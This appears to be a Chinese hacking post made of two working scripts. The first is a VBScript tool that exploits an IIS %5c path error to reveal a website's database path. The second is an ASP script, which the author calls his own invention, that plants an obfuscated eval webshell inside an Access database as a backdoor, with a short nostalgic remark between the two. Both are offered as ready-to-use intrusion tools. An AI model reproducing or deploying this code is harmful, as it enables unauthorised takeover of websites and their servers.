Dim xStatus,tStatus,vServer,vHeader,vRsBody
GetError=InputBox("请输入网站,例如:http://www.hackerxfiles.com/files/list.asp?id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp?id=415")
If GetError = "" Then
MsgBox("输入错误，程序结束！")
WScript.Quit
End If

GetError=StrReverse(GetError)
Tem2=0
For I=1 To Len(GetError)
If Mid(GetError,I,1) = Chr(47) And Tem2=0 Then
Temp=Temp  "c5%"
Tem2=Tem2+1
Else
Temp=Temp  Mid(GetError,I,1)
End If
Next
GetError=StrReverse(Temp)


Call xmlPost(GetError)
ErrorText = vServer  " "  xStatus
BaseSaver = GetStr(vRsBody,"找不到文件 '","'。/font>"  Chr(10))
If BaseSaver="[None]" Then
BaseSaver = GetStr(vRsBody,"font face="Chr(34)"宋体"Chr(34)" size=2>'","'不是一个有效的路径。")
End If
If BaseSaver="[None]" Then
BaseSaver = GetStr(vRsBody,"打开注册表关键字 '","'。/font>")
End If

If BaseSaver = "[None]" Then
AllReturn= "TITLE>Mappath出错获取数据库地址 Lilo/TITLE>Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'>B>"  ErrorText  "/B>BR>BR>textarea rows='15' name='S1' cols='57'>" vRsBody "/textarea>"
Else
AllReturn= "TITLE>Mappath出错获取数据库地址 Lilo/TITLE>Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'>B>"  ErrorText  "/B>BR>BR>textarea rows='15' name='S1' cols='57'>" BaseSaver "/textarea>"
End If

Call OpenWin(AllReturn)
Set WHShell = WScript.CreateObject("WScript.Shell")
WHShell.AppActivate "Mappath出错获取数据库地址 Lilo"
'WHShell.SendKeys ("%{TAB}")
Set WHShell = Nothing

Function URLEncoding(vstrIn)
strReturn = ""
For i = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,i,1)
If Abs(Asc(ThisChr))  HFF Then
strReturn = strReturn  ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode  0 Then
innerCode = innerCode + H10000
End If
Hight8 = (innerCode And HFF00)\&;HFF
Low8 = innerCode And HFF
strReturn = strReturn  "%"  Hex(Hight8)  "%"  Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function

Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode  H80 Then
strReturn = strReturn  Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn  Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function xmlPost(iURL)
On Error Resume Next
iPost=URLEncoding(iPost)
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST",iURL,False
xPost.Send
xStatus = xPost.Status
tStatus = xPost.StatusText
vServer = xPost.GetResponseHeader("Server")
vHeader = xPost.GetAllResponseHeaders
vRsBody = bytes2BSTR(xPost.responseBody)
Set xPost = Nothing
End Function

Function GetStr(vString,iString,dString)
vSum = inStr(vRsBody,iString)
If vSum = 0 Then GetStr="[None]" : Exit Function
eSum = inStr(vSum,vRsBody,dString)
If eSum = 0 Then GetStr="[None]" : Exit Function
GetStr = Mid(vRsBody,vSum+Len(iString),eSum-vSum-Len(iString))
End Function

Function IntToStr(vNum,vLen)
If Len(vNum) >= vLen Then IntToStr = vNum : Exit Function
For I=1 To vLen-Len(vNum)
IntToStr=IntToStr  "0"
Next
IntToStr = IntToStr  CStr(vNum)
End Function

Function GetSplit(unStr,vaStr,Mode)
aTemp = Split(unStr,vaStr)
bTemp = Ubound(aTemp)
Select Case Mode
Case -1: GetSplit = aTemp
Case -2: GetSplit = bTemp
End Select
If Mode  0 Then Exit Function
If Mode > bTemp Then GetSplit=False : Exit Function
If Mode >= 0 Then GetSplit = aTemp(Mode)
End Function

Function OpenWin(vTTv)
Set IE = WScript.CreateObject("InternetExplorer.Application")
IE.Navigate "about:blank"
IE.Visible = 1 
IE.ToolBar = 0
IE.StatusBar = 0
IE.Width=500
IE.Height=335
Do While (IE.Busy): Loop
Set Doc = IE.Document
Doc.Open
Execute "Doc.Writeln "  Chr(34)  vTTv  Chr(34)
Doc.Close
Set IE=Nothing
End Function

另一个是我写的，向access里插入asp代码来当作后门，这应当是我的首创了，不过我也不知其他人有没有更早提前发现的。后来网上就流传开直接向数据库插入一句话来得到webshell。不知不觉时光飞逝，4年过去了，人老了，难道只能怀旧吗？

%

db="0123.asp" '这里改成您的数据库地址
set conn=server.createobject("Adodb.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="Server.MapPath(db)
conn.open connstr
'添加notdownload表
conn.execute("create table notdownload(notdown oleobject)")
'写入%数据
set rs=server.createobject("adodb.recordset")
    sql="select * from notdownload"
rs.open sql,conn,1,3
rs.addnew
    rs("notdown").appendchunk(chrB(asc(""))  chrB(asc("s"))  chrB(asc("c")) chrB(asc("r"))  chrB(asc("i")) chrB(asc("p")) chrB(asc("t")) chrB(asc(" ")) chrB(asc("r")) chrB(asc("u")) chrB(asc("n")) chrB(asc("a")) chrB(asc("t")) chrB(asc("=")) chrB(asc("s")) chrB(asc("e")) chrB(asc("r")) chrB(asc("v")) chrB(asc("e")) chrB(asc("r")) chrB(asc(" ")) chrB(asc("l")) chrB(asc("a")) chrB(asc("n")) chrB(asc("g")) chrB(asc("u")) chrB(asc("a")) chrB(asc("g")) chrB(asc("e")) chrB(asc("=")) chrB(asc("j")) chrB(asc("a")) chrB(asc("v")) chrB(asc("a")) chrB(asc("s")) chrB(asc("c")) chrB(asc("r")) chrB(asc("i")) chrB(asc("p")) chrB(asc("t")) chrB(asc(">")) chrB(asc("e")) chrB(asc("v")) chrB(asc("a")) chrB(asc("l")) chrB(asc("(")) chrB(asc("r")) chrB(asc("e")) chrB(asc("q")) chrB(asc("u")) chrB(asc("e")) chrB(asc("s")) chrB(asc("t")) chrB(asc(".")) chrB(asc("f")) chrB(asc("o")) chrB(asc("r")) chrB(asc("m")) chrB(asc("(")) chrB(asc("'")) chrB(asc("#")) chrB(asc("'")) chrB(asc(")")) chrB(asc("+")) chrB(asc("'")) chrB(asc("'")) chrB(asc(")")) chrB(asc("")) chrB(asc("/")) chrB(asc("s")) chrB(asc("c")) chrB(asc("r")) chrB(asc("i")) chrB(asc("p")) chrB(asc("t")) chrB(asc(">")))
    rs.update
    rs.close
set rs=nothing
'关闭连接
conn.close
set conn=nothing
%>